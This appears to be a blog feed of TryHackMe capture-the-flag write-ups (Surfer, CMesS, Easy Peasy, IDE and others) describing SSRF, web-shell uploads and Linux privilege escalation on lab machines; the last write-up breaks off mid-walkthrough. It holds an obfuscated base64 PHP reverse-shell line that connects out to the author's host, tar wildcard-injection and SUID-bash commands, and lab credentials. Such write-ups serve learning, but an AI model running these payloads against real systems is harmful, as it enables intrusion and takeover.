DEV Community: Laach_

Surfer - THM

Laach_ — Mon, 15 Jun 2026 22:02:37 +0000

Machine Info

Difficulty: Easy🟩
Link: HERE
Avg time: 35 Minutes
OS: Linux

Description: Surf some internal webpages to find the flag!

Recon

INFO: We're told to go straight at website so no nmap scan is needed

On website there is just login page nothing interesting in source code so Ferox at beginning

sudo feroxbuster -u 'http://10.114.163.12' -r -C 404

200      GET        8l       63w      365c http://10.114.163.12/backup/chat.txt
200      GET      319l      837w     9266c http://10.114.163.12/assets/js/main.js
200      GET        6l       17w     1040c http://10.114.163.12/assets/img/logo.png
200      GET        8l       17w      840c http://10.114.163.12/assets/img/favicon.png
200      GET      173l      366w     3067c http://10.114.163.12/assets/vendor/simple-datatables/style.css
200      GET        7l       32w     1862c http://10.114.163.12/assets/img/apple-touch-icon.png
200      GET       85l      210w     2731c http://10.114.163.12/assets/vendor/php-email-form/validate.js
200      GET      952l     2306w    25273c http://10.114.163.12/assets/vendor/quill/quill.bubble.css
200      GET     1084l     2366w    21109c http://10.114.163.12/assets/css/style.css
200      GET      945l     2297w    24743c http://10.114.163.12/assets/vendor/quill/quill.snow.css
200      GET        7l     1031w    78129c http://10.114.163.12/assets/vendor/bootstrap/js/bootstrap.bundle.min.js
200      GET       12l      528w    37864c http://10.114.163.12/assets/vendor/simple-datatables/simple-datatables.js
200      GET        1l      133w    65758c http://10.114.163.12/assets/vendor/boxicons/css/boxicons.min.css
200      GET     1556l     7713w    73271c http://10.114.163.12/assets/vendor/bootstrap-icons/bootstrap-icons.css
200      GET        7l     2006w   163873c http://10.114.163.12/assets/vendor/bootstrap/css/bootstrap.min.css
200      GET     2317l    11522w   110438c http://10.114.163.12/assets/vendor/remixicon/remixicon.css
200      GET       13l     2708w   194890c http://10.114.163.12/assets/vendor/chart.js/chart.min.js
200      GET        8l     5631w   216333c http://10.114.163.12/assets/vendor/quill/quill.min.js
200      GET        9l     7014w   391863c http://10.114.163.12/assets/vendor/tinymce/tinymce.min.js
200      GET       45l    13299w  1012551c http://10.114.163.12/assets/vendor/echarts/echarts.min.js
200      GET       14l     6109w   488297c http://10.114.163.12/assets/vendor/apexcharts/apexcharts.min.js
200      GET     6135l    12251w   183063c http://10.114.163.12/assets/vendor/bootstrap-icons/
200      GET      113l      291w     4774c http://10.114.163.12/login.php

INFO: I got lucky and guessed credentials in first try, but feroxbuster is shown here as good practice

Found backup/chat.txt , it contained a chat log.

Admin: I have finished setting up the new export2pdf tool.
Kate: Thanks, we will require daily system reports in pdf format.
Admin: Yes, I am updated about that.
Kate: Have you finished adding the internal server.
Admin: Yes, it should be serving flag from now.
Kate: Also Don't forget to change the creds, plz stop using your username as password.
Kate: Hello.. ?

This reveals the export2pdf functionality and admin credentials: admin:admin.

Exploiting SSRF

As this room is SSRF targeted so i'll simply explain what SSRF is.

SSRF (Server-Side Request Forgery) tricks the server into making requests for you. This way you can reach internal resources like localhost or internal network servers that normally aren't accessible from the outside.

Where unexpected destination is localhost or some server from internal network. To learn about all kinds of web security go on Portswigger Academy

After logging in there is a dashboard with some dummy data but there are two important pieces of info in Recent Activity and Reports.

Recent Activity contains information:

Internal pages hosted at /internal/admin.php. It contains the system flag.

Trying to visit this URL it returns

This page can only be accessed locally.

Reports got more interesting data about Hosting Server Information such as OS , IP or Hostname and more. Under this data there is an Export to PDF option. After clicking it, the request goes to export2pdf.php , looking in Burp this endpoint takes a url parameter.

url=http%3A%2F%2F127.0.0.1%2Fserver-info.php

It's URL-encoded. After decoding it decodes to

url=http://127.0.0.1/server-info.php

Changing this value to

url=http://127.0.0.1/internal/admin.php

and using Burp's RMB -> Request in browser -> In current browser session

Copy the URL paste it in browser and there will be beautiful response with flag.

In this case server fetched provided URL and exported it to PDF even the files that are supposed to be internal only. That's how SSRF works.

CMesS - THM

Laach_ — Mon, 15 Jun 2026 13:45:43 +0000

Machine Info

Difficulty: Medium🟧
Link: HERE
Avg time: 75 Minutes
OS: Linux

Description: Can you root this Gila CMS box?

Recon

INFO: Before nmap we are told to add [IP] cmess.thm to /etc/hosts

Casually nmap scan

sudo nmap cmess.thm -Pn -sV -sC -p- -T4 -n -O -oN scan.txt

Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-15 13:54 +0200
Nmap scan report for cmess.thm (10.114.129.136)
Host is up (0.028s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
|   256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_  256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 3 disallowed entries 
|_/src/ /themes/ /lib/
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-generator: Gila CMS
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=6/15%OT=22%CT=1%CU=42629%PV=Y%DS=3%DC=I%G=Y%TM=6A2FE82
OS:5%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8)SEQ
OS:(SP=102%GCD=1%ISR=10F%TI=Z%CI=I%II=I%TS=8)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%
OS:CI=I%II=I%TS=8)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8)SEQ(SP=FC%GC
OS:D=1%ISR=10D%TI=Z%CI=I%II=I%TS=8)OPS(O1=M4E8ST11NW7%O2=M4E8ST11NW7%O3=M4E
OS:8NNT11NW7%O4=M4E8ST11NW7%O5=M4E8ST11NW7%O6=M4E8ST11)WIN(W1=68DF%W2=68DF%
OS:W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M4E8NNSNW7%CC
OS:=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T
OS:=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=
OS:0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=
OS:Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=
OS:G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.60 seconds

Scan reveals:

22/tcp - SSH
80/tcp - HTTP

HTTP got robots.txt with 3 entries:

src/
themes/
lib/

Shell as www-data

My first thought was to visit src/ it did redirect to something looking like potential LFI

But no matter what I tried I couldn't retrieve /etc/passwd either RFI didn't worked too.

INFO: Other entries in robots.txt were the same I tested them but nothing

Later I tried running Feroxbuster there were some not usual files and directories

 sudo feroxbuster -u 'http://cmess.thm/' -r -C 404

403      GET        9l       28w      274c http://cmess.thm/lib/?url=lib
403      GET        9l       28w      274c http://cmess.thm/src/?url=src
403      GET        9l       28w      274c http://cmess.thm/themes/?url=themes
200      GET      107l      290w     3851c http://cmess.thm/index
200      GET       44l      113w     1605c http://cmess.thm/src/core/assets/lazyImgLoad.js
200      GET       43l       98w     1360c http://cmess.thm/login/password_reset
200      GET      799l     1024w    15763c http://cmess.thm/lib/gila.min.css
200      GET        4l       66w    31000c http://cmess.thm/lib/font-awesome/css/font-awesome.min.css
200      GET       92l      266w     3353c http://cmess.thm/about
200      GET       68l      422w    25046c http://cmess.thm/assets/gila-logo.png
200      GET      107l      290w     3851c http://cmess.thm/search
200      GET      107l      290w     3851c http://cmess.thm/blog
200      GET       41l       99w     1580c http://cmess.thm/login
200      GET      109l      291w     3862c http://cmess.thm/category
200      GET      102l      308w     4078c http://cmess.thm/1/hello_world
200      GET      107l      290w     3865c http://cmess.thm/
200      GET      102l      308w     4078c http://cmess.thm/1
200      GET        1l        4w       68c http://cmess.thm/login/register
200      GET       21l       42w      735c http://cmess.thm/feed
200      GET      107l      290w     3851c http://cmess.thm/0
200      GET      101l      272w     3590c http://cmess.thm/author
200      GET      102l      308w     4078c http://cmess.thm/01
200      GET      109l      292w     3874c http://cmess.thm/tag
200      GET      107l      290w     3851c http://cmess.thm/Search
200      GET       92l      266w     3339c http://cmess.thm/About
200      GET      107l      290w     3851c http://cmess.thm/Index
200      GET        0l        0w        0c http://cmess.thm/api
200      GET        1l        4w       68c http://cmess.thm/login/Register
200      GET       14l       40w      563c http://cmess.thm/assets/?url=assets
500      GET        0l        0w        0c http://cmess.thm/cm
200      GET        0l        0w        0c http://cmess.thm/fm
200      GET      107l      290w     3851c http://cmess.thm/INDEX
200      GET        0l        0w        0c http://cmess.thm/login/callback

There were some weird outputs but most of them were not found or main page. Only thing that caught my attention was possible IDOR.

http://cmess.thm/0

It was returning home page with post that contained title and body of it. but

http://cmess.thm/1

returned title, posted by and body but posted by was empty which was weird. I did tried other numbers such as 2, 3, 4 but they returned not found so it was a rabbit hole. Ferox also revealed path /login/register but it redirected to 404 — another rabbit hole. I also tried brute force on login/ with guessed email admin@cmess.thm but after 3 tries I got rate limited — another rabbit hole. This whole page seemed like a dead end so I tried subdomain enum with ffuf.

ffuf -u 'http://cmess.thm' -H "Host: FUZZ.cmess.thm" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 522 -c

This finally gave some serious lead

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cmess.thm
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.cmess.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 522
________________________________________________

dev                     [Status: 200, Size: 934, Words: 191, Lines: 31, Duration: 4663ms]
:: Progress: [4989/4989] :: Job [1/1] :: 295 req/sec :: Duration: [0:00:17] :: Errors: 0 ::

Adding dev.cmess.thm to /etc/hosts and visiting it revealed a black page with a Development Log containing credentials for andre@cmess.thm

## Development Log

### andre@cmess.thm

Have you guys fixed the bug that was found on live?

### support@cmess.thm

Hey Andre, We have managed to fix the misconfigured .htaccess file, we're hoping to patch it in the upcoming patch!

### support@cmess.thm

Update! We have had to delay the patch due to unforeseen circumstances

### andre@cmess.thm

That's ok, can you guys reset my password if you get a moment, I seem to be unable to get onto the admin panel.

### support@cmess.thm

Your password has been reset. Here: KPFTN_f2yxe%

Credentials worked. There was a CMS dashboard with page editing functionality. In most CMS dashboards, if page editing is available, getting a shell is trivial. At /admin/fm there is a list of files and directories. Editing index.php can give a shell. Penelope was used as it handles and stabilizes the shell automatically.

INFO: In this file list there was an interesting file config.php containing root credentials for MySQL, maybe useful for later.

Code injected into index.php:

<?php system('printf KHJtIC90bXAvXztta2ZpZm8gL3RtcC9fO2NhdCAvdG1wL198c2ggMj4mMXxuYyAxOTIuMTY4LjEzMS45MSA0NDQ0ID4vdG1wL18pID4vZGV2L251bGwgMj4mMSAm|base64 -d|sh'); ?>

After saving and visiting the main page, Penelope catches a shell as www-data.

Shell as Andre

Password reuse from the login page was attempted but didn't work. linpeas and pspy64 were transferred to the target. pspy64 revealed a cronjob running as root every 2 minutes but it wasn't investigated further at this point.

INFO: The cronjob wasn't investigated because write access to /home/andre was required.

linpeas kept crashing so manual enumeration was done. MySQL was checked using the credentials found earlier but nothing useful was found. Eventually /opt was checked — an obvious privesc path that was missed earlier due to linpeas issues. Inside was .password.bak with Andre's password.

www-data@cmess:/opt$ ls -al
total 12
drwxr-xr-x  2 root root 4096 Feb  6  2020 .
drwxr-xr-x 22 root root 4096 Feb  6  2020 ..
-rwxrwxrwx  1 root root   36 Feb  6  2020 .password.bak
www-data@cmess:/opt$ cat .password.bak
andres backup password
UQfsdCB7aAP6

Flag located at: /home/andre/user.txt

Shell as Root

The root cronjob was performing a backup of every file in /home/andre/backup.

*/2 *   * * *   root    cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *

The * wildcard is the key. tar supports --checkpoint flags that execute commands at intervals. By creating files named --checkpoint=1 and --checkpoint-action=exec=[command] inside the backup directory, tar interprets them as its own flags instead of files.

INFO: Different explanation of tar wildcard injection HERE

A malicious shell.sh was created with the following payload:

#!/bin/bash

chmod +s /bin/bash

Execute permission was added and checkpoint files were created:

chmod +x shell.sh 
echo "" > "--checkpoint=1" 
echo "" > "--checkpoint-action=exec=bash shell.sh"

Final state of the backup directory:

andre@cmess:~/backup$ ls -al
total 24
drwxr-x--- 2 andre andre 4096 Jun 15 06:14 .
drwxr-x--- 5 andre andre 4096 Jun 15 06:12 ..
-rw-rw-r-- 1 andre andre    1 Jun 15 06:14 --checkpoint=1
-rw-rw-r-- 1 andre andre    1 Jun 15 06:14 --checkpoint-action=exec=bash shell.sh
-rwxr-x--- 1 andre andre   51 Feb  9  2020 note
-rwxrwxr-x 1 andre andre   32 Jun 15 06:12 shell.sh

After the cronjob fired, shell.sh was executed as root and SUID was set on /bin/bash, allowing a root shell via bash -p

Flag located in /root/root.txt

Intermediate Nmap - THM

Laach_ — Sun, 14 Jun 2026 23:32:38 +0000

Machine Info

Difficulty: Easy🟩
Link: HERE
Avg time: 20 Minutes
OS: Linux

Description: Can you combine your great nmap skills with other tools to log in to this machine?

Shell as Ubuntu

Casually nmap scan

sudo nmap 10.112.177.171 -Pn -sV -sC -p- -T4 -n -O

Because this room is Nmap targeted I'll break command down explaining what each flag does.

-Pn (Skips Ping Scan. Nmap by default uses ping to verify if host is alive) 
-sV (Checks version of running service) 
-sC (Runs default NSE scripts) 
-p- (Scans whole port range from 0-65535, TCP only as -sU is not provided) 
-T4 (Sets speed of scan to 4 out of 5. Colloquially it's aggressive scan) 
-n  (Does not perform DNS resolution)
-O  (Nmap tries to identify OS of target)

Nmap scan report for 10.112.177.171
Host is up (0.028s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7d:dc:eb:90:e4:af:33:d9:9f:0b:21:9a:fc:d5:77:f2 (RSA)
|   256 83:a7:4a:61:ef:93:a3:57:1a:57:38:5c:48:2a:eb:16 (ECDSA)
|_  256 30:bf:ef:94:08:86:07:00:f7:fc:df:e8:ed:fe:07:af (ED25519)
2222/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 1c:49:54:c5:b5:29:c6:ef:83:de:21:3a:b1:6f:2a:23 (RSA)
|   256 94:de:30:2c:fb:71:c2:77:d9:c6:05:58:0c:27:f2:8c (ECDSA)
|_  256 b0:d1:6b:99:15:ad:fd:71:bb:15:7c:5b:0a:3d:24:db (ED25519)
31337/tcp open  Elite?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: 
|     In case I forget - user:pass
|_    ubuntu:Dafdas!!/str0ng
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31337-TCP:V=7.99%I=7%D=6/15%Time=6A2F345E%P=x86_64-pc-linux-gnu%r(N
SF:ULL,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/st
SF:r0ng\n\n")%r(GetRequest,35,"In\x20case\x20I\x20forget\x20-\x20user:pass
SF:\nubuntu:Dafdas!!/str0ng\n\n")%r(SIPOptions,35,"In\x20case\x20I\x20forg
SF:et\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(GenericLines,35,"I
SF:n\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n"
SF:)%r(HTTPOptions,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu
SF::Dafdas!!/str0ng\n\n")%r(RTSPRequest,35,"In\x20case\x20I\x20forget\x20-
SF:\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(RPCCheck,35,"In\x20case\x
SF:20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(DNSVers
SF:ionBindReqTCP,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:D
SF:afdas!!/str0ng\n\n")%r(DNSStatusRequestTCP,35,"In\x20case\x20I\x20forge
SF:t\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(Help,35,"In\x20case
SF:\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(SSLSe
SF:ssionReq,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas
SF:!!/str0ng\n\n")%r(TerminalServerCookie,35,"In\x20case\x20I\x20forget\x2
SF:0-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(TLSSessionReq,35,"In\x2
SF:0case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(
SF:Kerberos,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas
SF:!!/str0ng\n\n")%r(SMBProgNeg,35,"In\x20case\x20I\x20forget\x20-\x20user
SF::pass\nubuntu:Dafdas!!/str0ng\n\n")%r(X11Probe,35,"In\x20case\x20I\x20f
SF:orget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(FourOhFourReque
SF:st,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str
SF:0ng\n\n")%r(LPDString,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\n
SF:ubuntu:Dafdas!!/str0ng\n\n")%r(LDAPSearchReq,35,"In\x20case\x20I\x20for
SF:get\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(LDAPBindReq,35,"I
SF:n\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n"
SF:)%r(LANDesk-RC,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:
SF:Dafdas!!/str0ng\n\n")%r(TerminalServer,35,"In\x20case\x20I\x20forget\x2
SF:0-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n");
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.29 seconds

Scan reveals:

22/tcp - SSH
2222/tcp - SSH
31337/tcp - ELITE?

INFO: ? in service name means Nmap is not 100% sure but this is its best guess

Scan also reveals message from port 31337

In case I forget - user:pass
ubuntu:Dafdas!!/str0ng

Credentials were used to authenticate via SSH on port 22. After logging in, the current directory was /home/ubuntu which contained nothing of interest.

$ ls -al
total 28
drwxr-xr-x 1 ubuntu ubuntu 4096 Jun 14 22:39 .
drwxr-xr-x 1 root   root   4096 Mar  2  2022 ..
-rw-r--r-- 1 ubuntu ubuntu  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Feb 25  2020 .bashrc
drwx------ 2 ubuntu ubuntu 4096 Jun 14 22:39 .cache
-rw-r--r-- 1 ubuntu ubuntu  807 Feb 25  2020 .profile

The /home directory was checked for other users.

$ ls /home
ubuntu  user

Flag was found in the user home directory.

$ cat flag.txt
flag{REDACTED}

Easy Peasy - THM

Laach_ — Sat, 13 Jun 2026 01:46:11 +0000

Machine Info

Difficulty: Easy🟩
Link: HERE
Avg time: 45 Minutes
OS: Linux

Description: Practice using tools such as Nmap and GoBuster to locate a hidden directory to get initial access to a vulnerable machine. Then escalate your privileges through a vulnerable cronjob.

Task 1

Enumeration starts with nmap.

sudo nmap -Pn -sV -sC -n -T4 -p- -oN scan.txt 10.113.130.85

Three ports are open:

80/tcp - HTTP
6498/tcp - SSH
65524/tcp - HTTP

Question 1

How many ports are open? Answer: 3

Question 2

What is the version of nginx? Answer: 1.16.1

Question 3

What is running on the highest port? Answer: Apache

Task 2

Port 80 serves the nginx default page.

INFO: Feroxbuster was used instead of gobuster, but both commands are provided.

Running:

feroxbuster -u 'http://[IP]' --wordlist /usr/share/dirb/wordlists/common.txt 
# or 
gobuster dir -u 'http://[IP]' -w /usr/share/dirb/wordlists/common.txt

Scan reveals robots.txt, but it contains nothing useful. There is also hidden/, which displays a creepy image. Source code reveals nothing. Ferox also finds hidden/whatever/, which shows a mountain landscape. The page source contains a paragraph with a hidden attribute.

<!DOCTYPE html>
<html>
    <head>
        <title>dead end</title>
        <style>
            body {
                background-image: url("https://cdn.pixabay.com/photo/2015/05/18/23/53/norway-772991_960_720.jpg");
                background-repeat: no-repeat;
                background-size: cover;
                width: 35em;
                margin: 0 auto;
                font-family: Tahoma, Verdana, Arial, sans-serif;
            }
        </style>
    </head>
    <body>
        <center>
            <p hidden>ZmxhZ3tmMXJzN19mbDRnfQ==</p>
        </center>
    </body>
</html>

Decoding it with CyberChef gives flag{REDACTED}.

Port 65524 shows the Apache default page. Source code contains another hidden paragraph.

<p hidden>its encoded with ba....:ObsJmP173N2X6dOrAgEAL0Vu</p>

The hint suggests Base encoding. Trying all Base variants in CyberChef shows that only Base62 produces readable output. It decodes to /n0th1ng3ls3m4tt3r. On the same page, another flag is embedded in the Apache page HTML.

<li>
    They are activated by symlinking available
    configuration files from their respective
    Fl4g 3 : flag{REDACTED}
    *-available/ counterparts. These should be managed
    by using our helpers
    <tt>
        a2enmod,
        a2dismod,
    </tt>
    <tt>
        a2ensite,
        a2dissite,
    </tt>
    and
    <tt>
        a2enconf,
        a2disconf
    </tt>. See their respective man pages for detailed information.
</li>

Visiting /n0th1ng3ls3m4tt3r shows a page with a 'matrix' image and a hash.

Running john with the provided wordlist fails, most likely because the wrong format is used. To fix this, john is run against every format that hashid suggested.

for f in Snefru-256 Raw-SHA256 RIPEMD-256 HAVAL-256-3 gost gost-crypto Raw-SHA3-256 skein-256 skein-512-256; do john hash.txt --wordlist=~/Desktop/easypeasy.txt --format=$f ; done

John cracks the hash. The format is GOST, a Russian alternative to SHA256.

The cracked password matches the filename of the image on the page, suggesting steganography. It is used as a passphrase to extract secrettext.txt from the image.

steghide extract -sf binarycodepixabay.jpg

The file contains username boring in plain text and a password in binary.

01101001 01100011 01101111 01101110 01110110 01100101 01110010 01110100 01100101 01100100 01101101 01111001 01110000 01100001 01110011 01110011 01110111 01101111 01110010 01100100 01110100 01101111 01100010 01101001 01101110 01100001 01110010 01111001

The binary decodes to iconvertedmypasswordtobinary. Logging in via SSH as boring and reading /home/boring/user.txt reveals the user flag.

User Flag But It Seems Wrong Like It`s Rotated Or Something
synt{a0jvgf33zfa0ez4y}

The flag looks like a Caesar or Vigenère cipher. Cipher Identifier identifies it as Caesar. Trying each shift manually, shift 13 decodes it to flag{REDACTED}.

INFO: ROT13 is simply the same as Ceasar cipher with 13 shifts.

The room description mentions vulnerable cronjobs, so /etc/crontab is checked.

* *    * * *   root    cd /var/www/ && sudo bash .mysecretcronjob.sh

Root runs .mysecretcronjob.sh every minute. The file is writable and owned by boring, so a SUID bit can be set on /bin/bash.

The following payload is appended to the script.

echo 'chmod +s /bin/bash' >> /var/www/.mysecretcronjob.sh

After the cronjob fires, running

bash -p

gives a root shell.

Question 1

Using GoBuster, find flag 1. Answer: flag{REDACTED}

Question 2

Further enumerate the machine, what is flag 2? Answer: flag{REDACTED}

Question 3

Crack the hash with easypeasy.txt, What is the flag 3? Answer: flag{REDACTED}

Question 4

What is the hidden directory? Answer: /n0th1ng3ls3m4tt3r (PEAK Reference to Metallica)

Question 5

Using the wordlist that provided to you in this task crack the hash what is the password? Answer: mypasswordforthatjob

Question 6

What is the password to login to the machine via SSH? Answer: iconvertedmypasswordtobinary

Question 7

What is the user flag? Answer: flag{REDACTED}

Question 8

What is the root flag? Answer: flag{REDACTED}

IDE - THM

Laach_ — Fri, 12 Jun 2026 19:46:13 +0000

Machine Info

Difficulty: Easy🟩
Link: HERE
Avg time: 45 Minutes
OS: Linux

Description: An easy box to polish your enumeration skills!

Recon

Casually nmap scan

sudo nmap 10.113.154.9 -Pn -p- -sV -sC -T4 -n -oN scan.txt

Scan reveals:

21/tcp - FTP
22/tcp - SSH
80/tcp - HTTP
62337/tcp - HTTP

Shell as www-data

Nmap revealed that FTP allows anonymous login. At first look it seems empty.

In Linux only . means this directory and .. means one directory back but ... doesn't mean anything here. It's just a directory. Inside it there is a file named -.

After downloading the file, name was changed to avoid issues with tools such as cat. Renamed using:

mv '-' ftp.txt

This allows cat to read the file properly.

This tells John password was set to default. Later, going to the website on port 80 and running Feroxbuster there wasn't anything. Next was HTTP on port 62337. There was a login page by default. Knowing that there is a user John with a default password, Turbo Intruder was run in Burp with rockyou.txt on the login endpoint. There was only one response with an enormous Anomaly rank.

After logging in, there was Codiad. It's a lightweight web IDE. Each new project is stored in workspace/[NAME].

INFO: After logging in there was one project called 'CloudCall'. It was stored in a different folder. Only new projects are stored in workspace/[NAME]

After creating a new project, p0wny-shell was uploaded. It was accessible at workspace/[NAME]/p0wny-shell.php. To get a stable shell, penelope was used. It's an awesome Linux shell handler.

Shell as drac

After gaining access as www-data, linpeas was transferred and run. It revealed a MySQL password in drac user bash history.

Linpeas output showed that MySQL was not running on any port. The password was tried to log in as the user , it worked.

Flag located at: /home/drac/user.txt

Shell as root

Knowing the password, the following was run:

sudo -l

It revealed:

This doesn't allow doing anything except restarting vsftpd. Linpeas was run again. It showed write permission on /lib/systemd/system/vsftpd.service. This file defines what gets executed on actions such as reload, start, and more. It looks like this:

[Unit]
Description=vsftpd FTP daemon
After=network.target

[Service]
Type=simple
ExecStart=/usr/sbin/vsftpd /etc/vsftpd.conf
ExecReload=/bin/kill -HUP $MAINPID
Restart=on-failure
RestartSec=5s

[Install]
WantedBy=multi-user.target

When restarting, the service gets turned off and on. The service manager executes the value of ExecStart. Changing it to:

ExecStart=chmod +s /bin/bash

will trigger this command on restart. However, trying to restart vsftpd immediately results in this error:

Warning: The unit file, source configuration file or drop-ins of vsftpd.service changed on disk. Run 'systemctl daemon-reload' to reload units.

This means systemd doesn't recognize the new file. It uses the one in RAM with the old value. Reloading is required:

systemctl daemon-reload
sudo /usr/sbin/service vsftpd restart

This reloads systemd and restarts vsftpd, executing the command.

INFO: Don't paste both at once because the first one gives a password prompt. Pasting both may interrupt it.

Flag located at: /root/root.txt

Bonus

1. Vulnerable Codiad

Codiad 2.8.4 is vulnerable to authenticated RCE. The exploit was tried but didn't work properly, so a shell file was uploaded instead.

Info about CVE: CVE-2018-19423
Exploit on ExploitDB: Exploit

Break Out The Cage - THM

Laach_ — Fri, 12 Jun 2026 15:25:31 +0000

Machine Info

Difficulty: Easy🟩
Link: HERE
Avg time: 45 Minutes
OS: Linux

Description: Help Cage bring back his acting career and investigate the nefarious goings on of his agent!

Recon

Casually nmap scan.

sudo nmap 10.114 188.39 -Pn -p- -sV -sC -T4 -n -oN scan.txt

Scan reveals:

21/tcp - FTP
22/tcp - SSH
80/tcp - HTTP

Shell as `Weston`

Logging to FTP as anonymous. Scan revealed file dad_tasks. Using get in FTP we can download it. Reading the file shows text encoded in base64.

Running this command decodes the string:

echo "STRING-HERE" | base64 -d

After decoding, it still looked weird and unreadable. It looks like a Caesar cipher or Vigenère.

Best tool for cipher identification is Cipher Identifier. It identifies the most probable cipher and even suggests decoding tools. After running it, the text is identified as Vigenère. Running it through the decode tool gives something almost readable, but words are stuck together due to no spaces. Go to CyberChef, select Vigenère decode, provide the identified key and paste the ciphered text.

Decoded text looks like:

There is a weird string. Maybe it's a password, but for who?

Going to the website hosted on port 80 reveals a pseudo diary. Reading it reveals a son named Weston. The note on FTP was written by Weston for his dad with an "In case I forget" message, so the weird string may be Weston's own password.

Trying to log in as Weston via SSH using this string as a password works.

Shell as Cage

At the beginning, pspy64 was transferred onto the machine and ran in a second terminal logged on the same machine. Then:

sudo -l

It shows that weston can run /usr/bin/bees as root.

After checking the file, it turned out it couldn't be edited and the script didn't ask for any input. It simply called wall with some hardcoded text. This script was a rabbit hole.

INFO: wall stands for "write all", basically prints a message to every logged-in user with an open terminal.

While checking pspy64 output, a cronjob running as UID=1000 (Cage) was spotted, executing every 3 minutes.

